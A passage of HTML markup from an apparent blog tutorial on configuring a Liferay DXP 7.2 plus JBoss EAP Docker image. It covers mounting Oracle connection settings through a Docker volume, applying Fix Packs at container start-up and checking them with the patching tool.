&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ cp ~/Downloads/portal-ext.properties files/&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 4 - Prepare File System Layout for Oracle RDBMS Configuration&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;The figure below shows the structure of the newly created file system and what it will be
mounted as Docker Volume, as indicated by the command shown in Console 5.
Note that the deploy and directories are also part of the layout scripts,
which are respectively dedicated to hot-deploy modules or bundles and running
Liferay pre-start scripts.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/3a448da22b0903abd9ede4101eda7084/0e0c4/layout-file-system-for-docker-volume.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:36.66666666666667%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;146\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20146\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2073v73h200l194-1c-5%200-7-1-9-2l-2-2%202-3c2-2%203-2%209-2h6v5a2744%202744%200%20000-137v5h-6c-6%200-7%200-9-2l-2-3%203-2%202-2H201l2%202c2%203%202%203%201%205-2%202-3%202-103%202H1V0L0%2073m0%200l1%2073%20100-1h99l3-2%202-2-2-3-2-2h-71c-66%200-71%200-71-2h-1c-1%202-5%202-29%202l-28%201v-3c0-1%200-2%201-1v1l1%201c1%200%202-4%201-5H2c-1%201-1-8-1-64L0%201v72m3-6v49h12l-6-1H4V31h5l6-1H4v-4l1-3h4l5-1-5-1c-4%200-5%200-5-2-1-1-1%2021-1%2048\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/3a448da22b0903abd9ede4101eda7084/c85cb/layout-file-system-for-docker-volume.webp 300w,/static/3a448da22b0903abd9ede4101eda7084/e88ff/layout-file-system-for-docker-volume.webp 600w,/static/3a448da22b0903abd9ede4101eda7084/92f8c/layout-file-system-for-docker-volume.webp 1200w,/static/3a448da22b0903abd9ede4101eda7084/62ed8/layout-file-system-for-docker-volume.webp 1800w,/static/3a448da22b0903abd9ede4101eda7084/6f9cd/layout-file-system-for-docker-volume.webp 1884w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/3a448da22b0903abd9ede4101eda7084/5a46d/layout-file-system-for-docker-volume.png 300w,/static/3a448da22b0903abd9ede4101eda7084/0a47e/layout-file-system-for-docker-volume.png 600w,/static/3a448da22b0903abd9ede4101eda7084/c1b63/layout-file-system-for-docker-volume.png 1200w,/static/3a448da22b0903abd9ede4101eda7084/d61c2/layout-file-system-for-docker-volume.png 1800w,/static/3a448da22b0903abd9ede4101eda7084/0e0c4/layout-file-system-for-docker-volume.png 1884w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 15 - Layout file system for Docker Liferay image configuration to mount as Docker Volume&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/3a448da22b0903abd9ede4101eda7084/c1b63/layout-file-system-for-docker-volume.png&quot; title=&quot;Figure 15 - Layout file system for Docker Liferay image configuration to mount as Docker Volume&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 15 - Layout file system for Docker Liferay image configuration to mount as Docker Volume&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;4&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Running Liferay with the connection to the Oracle database&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ docker run -d --name liferay72jboss -p 8080:8080 -p 11311:11311 -v &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;$(pwd)&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:/etc/liferay/mount -P amusarra/liferay-dxp:liferay-dxp-7.2.10-sp3&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 5 - Running the Liferay image with the Docker Volume to apply the connection configuration to the Oracle database&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;The figure below highlights the copying of the configuration files to the file system
of the container that have been prepared previously.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/d5c658d12baf930d61dd3a2bd23e3899/4ee93/run-liferay-dxp-docker-image-with-volume.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:33.666666666666664%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;134\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20134\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2067v67h401V0h-7c-6%200-7%200-7%202l-2%202-3-1h-1c-1%202-5%201-4-1l-1-2-1%202c0%202-1%202-4%202l-4-1h-18c0-2%200-3-2-3l-2%201h2l1%201c0%202-10%202-11%201h-1l-1%201-1-2-1-2v2c0%202-10%202-11%201h-1l-5%201-6-1h-16l-1%201-2-1h-2c0-2%200-2-1-1-1%202-6%203-6%201h-1l-4%201-4-1V1c-1-1-1-1-1%201l-1%202-1-1V1c-1-1-1-1-1%201s0%202-13%202l-13-1-1-1-2-1c-1-1-1-1-1%201%200%201%200%202-1%201l-1-2V0l-1%202h-1c-1-2-5-3-5-1h2l1%201c0%201-1%202-4%202l-3-2-1-2-1%202c0%202-1%202-7%202l-7-1h-1l-1%201V3l-1-1-1%201-6%201-6-1%204-2h4l-5-1c-5%200-6%200-7%202l-1%203V2c0-2%200-2-8-2s-9%200-9%202h1c0-2%209-1%209%201l-1%201h-7c-2%200-3%200-3-2-1-2-2-2-7-2l-5%201h5c3%200%203%200%202%201-2%203-8%202-8%200s-1-2-3-2l-3%201%201%201%203%201c1%201%201%201-3%201s-6-2-3-3c1-1%200-1-2-1-3%200-4%200-3%201%203%204%201%204-60%204L27%206v4c-1%201-1%201-1-2V5H3v3c0%203-1%202-1-2-2-6-2%204-2%2061m0%201a334%20334%200%20011-23V22L0%2068\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/d5c658d12baf930d61dd3a2bd23e3899/c85cb/run-liferay-dxp-docker-image-with-volume.webp 300w,/static/d5c658d12baf930d61dd3a2bd23e3899/e88ff/run-liferay-dxp-docker-image-with-volume.webp 600w,/static/d5c658d12baf930d61dd3a2bd23e3899/92f8c/run-liferay-dxp-docker-image-with-volume.webp 1200w,/static/d5c658d12baf930d61dd3a2bd23e3899/62ed8/run-liferay-dxp-docker-image-with-volume.webp 1800w,/static/d5c658d12baf930d61dd3a2bd23e3899/46261/run-liferay-dxp-docker-image-with-volume.webp 2400w,/static/d5c658d12baf930d61dd3a2bd23e3899/243a1/run-liferay-dxp-docker-image-with-volume.webp 2648w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/d5c658d12baf930d61dd3a2bd23e3899/5a46d/run-liferay-dxp-docker-image-with-volume.png 300w,/static/d5c658d12baf930d61dd3a2bd23e3899/0a47e/run-liferay-dxp-docker-image-with-volume.png 600w,/static/d5c658d12baf930d61dd3a2bd23e3899/c1b63/run-liferay-dxp-docker-image-with-volume.png 1200w,/static/d5c658d12baf930d61dd3a2bd23e3899/d61c2/run-liferay-dxp-docker-image-with-volume.png 1800w,/static/d5c658d12baf930d61dd3a2bd23e3899/97a96/run-liferay-dxp-docker-image-with-volume.png 2400w,/static/d5c658d12baf930d61dd3a2bd23e3899/4ee93/run-liferay-dxp-docker-image-with-volume.png 2648w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 16 - Evidence of copying the configuration files from the local file system to that of the container&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/d5c658d12baf930d61dd3a2bd23e3899/c1b63/run-liferay-dxp-docker-image-with-volume.png&quot; title=&quot;Figure 16 - Evidence of copying the configuration files from the local file system to that of the container&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 16 - Evidence of copying the configuration files from the local file system to that of the container&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;h3 id=&quot;62-liferay-fix-pack-installation&quot;&gt;6.2. Liferay Fix Pack installation&lt;/h3&gt;&lt;p&gt;There is the possibility to install a Fix Pack during the start-up of the container.
In chapter 5. How to create the image, we explained how install a Fix Pack
during the image creation process.&lt;/p&gt;&lt;p&gt;Applying a Fix Pack on an existing image can be an advantage in if you want to
easily check the &amp;quot;goodness&amp;quot; of the Fix Pack, especially in those cases where the
control of any regressions on custom software.&lt;/p&gt;&lt;p&gt;The requirement for installing the Fix Pack in this way is presence of the
Patching Tool installation on the base image to which it is intended apply the
Fix Pack (see 5.2. Patching Tool Installation) and the configuration of the
container using Docker Volumes (see 6.1. Using Docker Volume). The patching
directory must then be added to the file system layout inside which to place the
zip file of the Fix Pack. The figure below shows how the directory was added to
the previous file system layout patching and added the Fix Pack file we want to
install.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/3b214ecf94d7f2f3f19d7d87cf4e9b4b/95fa1/fix-pack-installation-when-run-docker-image.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:43.333333333333336%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;173\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20173\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2087v86h401V0H234a7002%207002%200%2000-97%202h72l2%202c2%203%202%203%201%205-2%202-3%202-106%202H2V2h32l31-1-33-1H0v87m4-7v60h6l5-1-5-1-5%201v-17h5l6-1H5V34h5l6-1H5v-8h5l6-1h-6c-4%200-5%200-5-2-1-1-1%2025-1%2058m-2%2086v4h207l2-2%202-3-2-2-3-2H2v5\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/3b214ecf94d7f2f3f19d7d87cf4e9b4b/c85cb/fix-pack-installation-when-run-docker-image.webp 300w,/static/3b214ecf94d7f2f3f19d7d87cf4e9b4b/e88ff/fix-pack-installation-when-run-docker-image.webp 600w,/static/3b214ecf94d7f2f3f19d7d87cf4e9b4b/92f8c/fix-pack-installation-when-run-docker-image.webp 1200w,/static/3b214ecf94d7f2f3f19d7d87cf4e9b4b/62ed8/fix-pack-installation-when-run-docker-image.webp 1800w,/static/3b214ecf94d7f2f3f19d7d87cf4e9b4b/a8768/fix-pack-installation-when-run-docker-image.webp 1816w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/3b214ecf94d7f2f3f19d7d87cf4e9b4b/5a46d/fix-pack-installation-when-run-docker-image.png 300w,/static/3b214ecf94d7f2f3f19d7d87cf4e9b4b/0a47e/fix-pack-installation-when-run-docker-image.png 600w,/static/3b214ecf94d7f2f3f19d7d87cf4e9b4b/c1b63/fix-pack-installation-when-run-docker-image.png 1200w,/static/3b214ecf94d7f2f3f19d7d87cf4e9b4b/d61c2/fix-pack-installation-when-run-docker-image.png 1800w,/static/3b214ecf94d7f2f3f19d7d87cf4e9b4b/95fa1/fix-pack-installation-when-run-docker-image.png 1816w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 17 - File system layout for Fix Pack application at the start-up of the Liferay Docker image&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/3b214ecf94d7f2f3f19d7d87cf4e9b4b/c1b63/fix-pack-installation-when-run-docker-image.png&quot; title=&quot;Figure 17 - File system layout for Fix Pack application at the start-up of the Liferay Docker image&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 17 - File system layout for Fix Pack application at the start-up of the Liferay Docker image&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;By running the command shown below, this time, in addition to applying the
configuration for connection to Oracle, before Liferay is started, the Fix Pack
residing inside the patching directory will be applied.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;5&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Running Liferay with Fix Pack application&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ docker run -d --name liferay72jboss -p 8080:8080 -p 11311:11311 -v &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;$(pwd)&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:/etc/liferay/mount -P amusarra/liferay-dxp:liferay-dxp-7.2.10-fp-8&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 6 - Running the Liferay image with Docker Volume to apply the Fix Pack&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;From the Docker container start logs, you should see the application of the
Fix Pack and then start the Liferay portal. The following figure it shows an
example of application of the Fix Pack.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/727a21ee969e06d87c0754a1b06d84ea/0b569/fix-pack-installation-when-run-docker-image-1.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:55.00000000000001%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;220\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20220\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%20110v110h401V0H273C149%200%20145%200%20146%202c4%204%203%204-73%204H1V3L0%20110m0%201a3698%203698%200%20003%2090c1-1%200-2-1-2l-1-3c0-2%200-2%201%200l1%202v-2c0-2%200-2%201-1%201%202%206%202%206%201l-4-3H1v-5l1-4%202-1h1c0%202%208%201%208-1l-5-1H4l-1-1-2-1%201-1c1%200%202-1%201-2h1c2%202%202%202%203%201h1l1%201%201-2c-1-2-8-2-8%200-1%201-1%200-1-2s0-3%202-3v-2c1-1%202%200%202%201%201%202%2011%202%2011%200s-7-2-9-1c-1%201-1%201-1-1l-2-1c-2%201-3%200-3-1l7-1%202-2-1-1H4c-3-1-4-4-1-4l7-1c0-1-1-2-3-2H2c-2%200-1-2%201-5v-2c-2%200-2-1-1-3h2c1%202%203%201%203-1l-1-1c-1%201-2%200-2-1l-2-1H1l1-2c2%201%205%200%205-1l-1-1-2-1H3c-2%201-2-4-2-42a372%20372%200%20011-46c-1%201-1-7-1-23l-1%2086\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/727a21ee969e06d87c0754a1b06d84ea/c85cb/fix-pack-installation-when-run-docker-image-1.webp 300w,/static/727a21ee969e06d87c0754a1b06d84ea/e88ff/fix-pack-installation-when-run-docker-image-1.webp 600w,/static/727a21ee969e06d87c0754a1b06d84ea/92f8c/fix-pack-installation-when-run-docker-image-1.webp 1200w,/static/727a21ee969e06d87c0754a1b06d84ea/62ed8/fix-pack-installation-when-run-docker-image-1.webp 1800w,/static/727a21ee969e06d87c0754a1b06d84ea/46261/fix-pack-installation-when-run-docker-image-1.webp 2400w,/static/727a21ee969e06d87c0754a1b06d84ea/3938d/fix-pack-installation-when-run-docker-image-1.webp 2878w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/727a21ee969e06d87c0754a1b06d84ea/5a46d/fix-pack-installation-when-run-docker-image-1.png 300w,/static/727a21ee969e06d87c0754a1b06d84ea/0a47e/fix-pack-installation-when-run-docker-image-1.png 600w,/static/727a21ee969e06d87c0754a1b06d84ea/c1b63/fix-pack-installation-when-run-docker-image-1.png 1200w,/static/727a21ee969e06d87c0754a1b06d84ea/d61c2/fix-pack-installation-when-run-docker-image-1.png 1800w,/static/727a21ee969e06d87c0754a1b06d84ea/97a96/fix-pack-installation-when-run-docker-image-1.png 2400w,/static/727a21ee969e06d87c0754a1b06d84ea/0b569/fix-pack-installation-when-run-docker-image-1.png 2878w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 18 - Application of the Fix Pack during the start-up of the Liferay image container&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/727a21ee969e06d87c0754a1b06d84ea/c1b63/fix-pack-installation-when-run-docker-image-1.png&quot; title=&quot;Figure 18 - Application of the Fix Pack during the start-up of the Liferay image container&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 18 - Application of the Fix Pack during the start-up of the Liferay image container&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;To make sure of the successful and correct installation of the Fix Pack, just
gain access to the machine and then use the &lt;code&gt;./patching-tool.sh info&lt;/code&gt; command
(from the Patching Tool installation directory) to verify that the Fix Pack
for which installation was requested is present on the system.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/30a17beecacf616556fc60ae496b3d0a/3707e/patching-tool-info.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:57.666666666666664%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;231\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20231\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%20116v115h401V0H0v116m0%200\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/30a17beecacf616556fc60ae496b3d0a/c85cb/patching-tool-info.webp 300w,/static/30a17beecacf616556fc60ae496b3d0a/e88ff/patching-tool-info.webp 600w,/static/30a17beecacf616556fc60ae496b3d0a/92f8c/patching-tool-info.webp 1200w,/static/30a17beecacf616556fc60ae496b3d0a/62ed8/patching-tool-info.webp 1800w,/static/30a17beecacf616556fc60ae496b3d0a/6c20f/patching-tool-info.webp 1878w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/30a17beecacf616556fc60ae496b3d0a/5a46d/patching-tool-info.png 300w,/static/30a17beecacf616556fc60ae496b3d0a/0a47e/patching-tool-info.png 600w,/static/30a17beecacf616556fc60ae496b3d0a/c1b63/patching-tool-info.png 1200w,/static/30a17beecacf616556fc60ae496b3d0a/d61c2/patching-tool-info.png 1800w,/static/30a17beecacf616556fc60ae496b3d0a/3707e/patching-tool-info.png 1878w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 19 - Verifying that the Fix Pack has been installed using the patching-tool.sh info command&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/30a17beecacf616556fc60ae496b3d0a/c1b63/patching-tool-info.png&quot; title=&quot;Figure 19 - Verifying that the Fix Pack has been installed using the patching-tool.sh info command&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 19 - Verifying that the Fix Pack has been installed using the patching-tool.sh info command&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;h3 id=&quot;63-liferay-hotfix-and-security-fix-pack-installation&quot;&gt;6.3 Liferay Hotfix and Security Fix Pack installation&lt;/h3&gt;&lt;p&gt;In the same way as you can install the Liferay Fix Pack during the start-up of
the container, it is also possible to do it for Hotfix and Security Fix Pack.
The indications described in 5.3 remain valid. Liferay Fix Pack installation.&lt;/p&gt;&lt;h2 id=&quot;7-a-real-scenario&quot;&gt;7. A real scenario&lt;/h2&gt;&lt;p&gt;Keeping in mind what is described extensively in chapter 5. How to create
image, we will see what are the steps to create your own Docker image
Liferay + JBoss EAP, assuming the following scenario.&lt;/p&gt;&lt;p&gt;Let&amp;#x27;s say we want to build a Liferay DXP 7.2 SP 2 Docker image with
JBoss EAP 7.2.0 as application server and want to apply the Liferay Fix Pack
&lt;strong&gt;dxp-8-7210&lt;/strong&gt; and the &lt;strong&gt;patch 7.2.9 JBoss EAP&lt;/strong&gt;. To obtain this result it is necessary
proceed with the steps shown in the diagram shown below.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:615px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/1d9cc98ba54977ce802d9df436fad629/f6b72/mind-map-creazione-docker-image-en.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:113.33333333333333%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;454\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20454\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M122%2026c-1%201%200%208%202%208l1-1h5l-2-1c-1-1-1-1%201-1s2%201%202%203l2%202%201-1%201-1%202-4c0-3-1-4-4-3h-9c0-2-2-2-2-1\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/1d9cc98ba54977ce802d9df436fad629/c85cb/mind-map-creazione-docker-image-en.webp 300w,/static/1d9cc98ba54977ce802d9df436fad629/e88ff/mind-map-creazione-docker-image-en.webp 600w,/static/1d9cc98ba54977ce802d9df436fad629/26ec8/mind-map-creazione-docker-image-en.webp 615w&quot; sizes=&quot;(max-width: 615px) 100vw, 615px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/1d9cc98ba54977ce802d9df436fad629/5a46d/mind-map-creazione-docker-image-en.png 300w,/static/1d9cc98ba54977ce802d9df436fad629/0a47e/mind-map-creazione-docker-image-en.png 600w,/static/1d9cc98ba54977ce802d9df436fad629/f6b72/mind-map-creazione-docker-image-en.png 615w&quot; sizes=&quot;(max-width: 615px) 100vw, 615px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 20 - Essential steps for creating Docker Liferay DXP + JBoss EAP image&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/1d9cc98ba54977ce802d9df436fad629/f6b72/mind-map-creazione-docker-image-en.png&quot; title=&quot;Figure 20 - Essential steps for creating Docker Liferay DXP + JBoss EAP image&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 20 - Essential steps for creating Docker Liferay DXP + JBoss EAP image&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;We assume that we have successfully performed the first step and the second step, for
which I recommend to review chapters 3. Requirements and 4. Download dependencies.
For the rest of the steps, execute the commands indicated in order from the
